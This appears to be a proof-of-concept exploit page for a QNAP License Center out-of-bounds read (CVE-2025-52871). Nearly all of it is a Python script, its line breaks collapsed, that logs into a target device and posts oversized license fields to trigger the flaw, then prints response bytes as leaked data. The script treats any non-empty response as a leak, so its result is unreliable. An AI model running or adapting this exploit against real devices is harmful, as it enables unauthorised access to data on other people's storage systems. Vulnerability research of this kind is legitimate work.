QNAP License Center越界读取漏洞 (CVE-2025-52871)

# CVE-2025-52871 PoC - QNAP License Center Out-of-bounds Read # This PoC demonstrates the vulnerability in License Center's license handling import requests import json import sys def exploit_cve_2025_52871(target_url, username, password): """ Exploit for CVE-2025-52871: QNAP License Center Out-of-bounds Read Prerequisites: - Valid user credentials on the QNAP device - Network access to the License Center web interface This PoC sends a specially crafted request to trigger the out-of-bounds read vulnerability in the license validation process. """ # Step 1: Authenticate to get session login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Send malicious license request to trigger OOB read license_url = f"{target_url}/license/api/v1/license/validate" # Crafted payload that triggers out-of-bounds read malicious_payload = { "license_id": "A" * 1000, # Oversized input to trigger OOB "product_key": "B" * 500, "signature": "C" * 300, "timestamp": 1735766400 } try: response = session.post(license_url, json=malicious_payload, timeout=15) print(f"[+] Request sent, Status: {response.status_code}") print(f"[+] Response length: {len(response.content)} bytes") # Check for leaked data in response if len(response.content) > 0: print("[!] Potential data leak detected") print(f"[+] Response preview: {response.content[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_52871_poc.py <target_url> <username> <password>") print("Example: python cve_2025_52871_poc.py https://192.168.1.100:8080 admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print("="*60) print("CVE-2025-52871 PoC - QNAP License Center OOB Read") print("="*60) exploit_cve_2025_52871(target, user, pwd)